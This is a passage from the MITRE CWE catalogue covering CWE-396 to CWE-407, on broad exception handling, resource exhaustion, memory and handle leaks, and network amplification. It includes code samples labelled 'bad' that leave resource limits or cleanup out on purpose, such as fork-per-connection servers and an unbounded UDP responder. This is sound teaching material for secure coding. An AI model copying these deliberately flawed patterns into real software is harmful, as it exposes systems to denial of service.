ChildOf	C	755	Improper Handling of Exceptional Conditions	1389
ChildOf	C	705	Incorrect Control Flow Scoping	1359

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Other	Alter Execution Logic	

Demonstrative Examples

Example 1:

The following code excerpt handles three types of exceptions in an identical fashion.

Example Language: Java *(good)*

```
try {
    doExchange();
}
catch (IOException e) {
    logger.error("doExchange failed", e);
}
catch (InvocationTargetException e) {
```

```
    logger.error("doExchange failed", e);
}
catch (SQLException e) {
    logger.error("doExchange failed", e);
}
```

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

Example Language: *(bad)*

```
try {
    doExchange();
}
catch (Exception e) {
    logger.error("doExchange failed", e);
}
```

However, if doExchange() is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from RuntimeException such as ClassCastException, and NullPointerException, which is not the programmer's intent.

CWE-397: Declaration of Throws for Generic Exception

Weakness ID : 397 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

Extended Description

Declaring a method to throw Exception or Throwable makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	221	Information Loss or Omission	511
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ChildOf	C	705	Incorrect Control Flow Scoping	1359

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Other	Alter Execution Logic	

Demonstrative Examples

Example 1:

The following method throws three types of exceptions.

Example Language: Java *(good)*

```
public void doExchange() throws IOException, InvocationTargetException, SQLException {
    ...
}
```

While it might seem tidier to write

Example Language: *(bad)*

```
public void doExchange() throws Exception {
```

```
    ...
}
```

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

Example 2:

Early versions of C++ (C++98, C++03, C++11) included a feature known as Dynamic Exception Specification. This allowed functions to declare what type of exceptions it may throw. It is possible to declare a general class of exception to cover any derived exceptions that may be throw.

Example Language: *(bad)*

```
int myfunction() throw(std::exception) {
    if (0) throw out_of_range();
    throw length_error();
}
```

In the example above, the code declares that myfunction() can throw an exception of type "std::exception" thus hiding details about the possible derived exceptions that could potentially be thrown.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	388	7PK - Errors	700	1862
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	960	SFP Secondary Cluster: Ambiguous Exception Type	888	1939
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

CWE-400: Uncontrolled Resource Consumption

Weakness ID : 400 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Extended Description

Limited resources include memory, file system storage, database connection pool entries, and CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the software, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.

There are at least three distinct scenarios which can commonly lead to resource exhaustion:

- Lack of throttling for the number of allocated resources
- Losing all references to a resource before reaching the shutdown stage
- Not closing/returning a resource after processing

Resource exhaustion problems are often result due to an incorrect implementation of the following situations:

- Error conditions and other exceptional circumstances.
- Confusion over which part of the program is responsible for releasing the resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	1422
ParentOf	B	920	Improper Restriction of Power Consumption	1601

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Resource Exhaustion :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *The most common result of resource exhaustion is denial of service. The software may slow down, crash due to unhandled errors, or lock out legitimate users.*	
Access Control Other	Bypass Protection Mechanism Other *In some cases it may be possible to force the software to "fail open" in the event of resource exhaustion. The state of the software -- and possibly the security functionality - may then be compromised.*	

Detection Methods

Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Effectiveness = Limited

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the software within a short time frame.

Effectiveness = Moderate

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted software in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

Effectiveness = Opportunistic

Potential Mitigations

Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Phase: Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.

Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Phase: Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(bad)*

```
class Worker implements Executor {
  ...
  public void execute(Runnable r) {
    try {
      ...
    }
    catch (InterruptedException ie) {
      // postpone response
      Thread.currentThread().interrupt();
    }
  }
  public Worker(Channel ch, int nworkers) {
    ...
  }
  protected void activate() {
    Runnable loop = new Runnable() {
```

```
            public void run() {
                try {
                    for (;;) {
                        Runnable r = ...;
                        r.run();
                    }
                }
                catch (InterruptedException ie) {
                    ...
                }
            }
        };
        new Thread(loop).start();
    }
}
```

There are no limits to runnables. Potentially an attacker could cause resource problems very quickly.

Example 2:

This code allocates a socket and forks each time it receives a new connection.

Example Language: C *(bad)*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 3:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

Example Language: C *(bad)*

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!(writeToFile(buffer) > 0))
                    break;
            }
```

```
        }
        closeFile();
    }
    closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

Example 4:

In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

Example Language: C *(bad)*

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

Example Language: C *(good)*

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

Example 5:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

Example Language: Java *(bad)*

```
public void acceptConnections() {
```

```
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            t.start();
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

Example Language: Java *(good)*

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            hasConnections = checkForMoreConnections();
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
            pool.execute(t);
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

Observed Examples

Reference	Description
CVE-2009-2874	Product allows attackers to cause a crash via a large number of connections. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2874*
CVE-2009-1928	Malformed request triggers uncontrolled recursion, leading to stack exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1928*

Notes

Maintenance

"Resource consumption" could be interpreted as a consequence instead of an insecure behavior, so this entry is being considered for modification. It appears to be referenced too frequently when

more precise mappings are available. Some of its children, such as CWE-771, might be better considered as a chain.

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of Perl code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request. A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

Taxonomy Mappings

CWE-401: Missing Release of Memory after Effective Lifetime

Weakness ID : 401 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.

Extended Description

This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions. In some languages, developers are responsible for tracking memory allocation and releasing the memory. If there are no more pointers or references to the memory, then it can no longer be tracked and identified for release.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Memory Leak :

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Instability DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)	

Scope	Impact	Likelihood
	Most memory leaks result in general software reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing or hanging the program) or take advantage of other unexpected program behavior resulting from a low memory condition.	
Other	Reduce Performance	

Potential Mitigations

Phase: Implementation

Strategy = Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, glibc in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Architecture and Design

Phase: Build and Compilation

The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code.

Demonstrative Examples

Example 1:

The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes:

Example Language: C *(bad)*

```
char* getBlock(int fd) {
    char* buf = (char*) malloc(BLOCK_SIZE);
    if (!buf) {
        return NULL;
    }
    if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
        return NULL;
    }
    return buf;
}
```

Observed Examples

Reference	Description
CVE-2005-3119	Memory leak because function does not free() an element of a data structure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3119*
CVE-2004-0427	Memory leak when counter variable is not decremented. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0427*
CVE-2002-0574	chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0574*

Reference	Description
CVE-2005-3181	Kernel uses wrong function to release a data structure, preventing data from being properly tracked by other code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3181*
CVE-2004-0222	Memory leak via unknown manipulations as part of protocol test suite. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0222*
CVE-2001-0136	Memory leak via a series of the same command. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0136*

MemberOf	C	1238	SFP Primary Cluster: Failure to Release Memory	888	2020

Notes

Relationship

This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.

Terminology

"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).

CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak')

Weakness ID : 402 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software makes resources available to untrusted parties when those resources are only intended to be accessed by the software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')

Weakness ID : 403 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.

Extended Description

When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-404: Improper Resource Shutdown or Release

Weakness ID : 404 **Status:** Draft

Structure : Simple
Abstraction : Class

Description

The program does not release or incorrectly releases a resource before it is made available for re-use.

Extended Description

When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ParentOf	V	401	Missing Release of Memory after Effective Lifetime	872
ParentOf	B	459	Incomplete Cleanup	978
ParentOf	B	763	Release of Invalid Pointer or Reference	1408
ParentOf	B	772	Missing Release of Resource after Effective Lifetime	1432

Weakness Ordinalities

Primary : Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.

Resultant : Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability Other	DoS: Resource Consumption (Other) Varies by Context *Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.*	
Confidentiality	Read Application Data *When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.*	

Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Resource clean up errors might be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.

Phase: Implementation

Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].

Phase: Implementation

When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.

Demonstrative Examples

Example 1:

The following method never closes the file handle it opens. The Finalize() method for StreamReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Example Language: Java *(bad)*

```
private void processFile(string fName) {
    StreamWriter sw = new StreamWriter(fName);
    string line;
    while ((line = sr.ReadLine()) != null){
        processLine(line);
    }
}
```

Example 2:

This code attempts to open a connection to a database and catches any exceptions that may occur.

Example Language: Java *(bad)*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 3:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example Language: C# *(bad)*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

Example 4:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

Example Language: C *(bad)*

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

Example 5:

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

Example Language: C++ *(bad)*

```
class A {
    void foo();
};
void A::foo(){
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}
```

Example 6:

In this example, the program calls the delete[] function on non-heap memory.

Example Language: C++ *(bad)*

```
class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = {
        11,22
    };
    int *p = localArray;
    if (heap){
        p = new int[2];
    }
    delete[] p;
}
```

Observed Examples

Reference	Description
CVE-1999-1127	Does not shut down named pipe connections if malformed data is sent. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1127*
CVE-2001-0830	Sockets not properly closed when attacker repeatedly connects and disconnects from server.

CWE-405: Asymmetric Resource Consumption (Amplification)

Weakness ID : 405 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

Software that does not appropriately monitor or control resource consumption can lead to adverse system performance.

Extended Description

This situation is amplified if the software allows malicious users or attackers to consume more resources than their access level permits. Exploiting such a weakness can lead to asymmetric resource consumption, aiding in amplification attacks against the system or the network.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	C	406	Insufficient Control of Network Message Volume (Network Amplification)	884

ParentOf	C	1176	Inefficient CPU Computation	1724
PeerOf	C	404	Improper Resource Shutdown or Release	877

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Resource Consumption (Other) *Sometimes this is a factor in "flood" attacks, but other types of amplification exist.*	

Potential Mitigations

Phase: Architecture and Design

An application must make resources available to a client commensurate with the client's access level.

Phase: Architecture and Design

An application must, at all times, keep track of allocated resources and meter their usage appropriately.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

Weakness ID : 406 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the software to transmit more traffic than should be allowed for that actor.

Extended Description

In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	883
CanFollow	B	941	Incorrectly Specified Destination in a Communication Channel	1619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *System resources can be quickly consumed leading to poor application performance or system crash. This may affect network performance and could be used to attack other systems and applications relying on network performance.*	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

An application must make network resources available to a client commensurate with the client's access level.

Phase: Policy

Define a clear policy for network resource allocation and consumption.

Phase: Implementation

An application must, at all times, keep track of network resources and meter their usage appropriately.

Demonstrative Examples

Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

Example Language: Python *(bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Observed Examples

Reference	Description
CVE-1999-0513	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0513*
CVE-1999-1379	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1379*
CVE-2000-0041	Large datagrams are sent in response to malformed datagrams. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0041*
CVE-1999-1066	Game server sends a large amount. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1066*
CVE-2013-5211	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5211*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Notes

Relationship

This can be resultant from weaknesses that simplify spoofing attacks.

Theoretical

Network amplification, when performed with spoofing, is normally a multi-channel attack from attacker (acting as user) to amplifier, and amplifier to victim.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Network Amplification

CWE-407: Inefficient Algorithmic Complexity

Weakness ID : 407 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	883

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
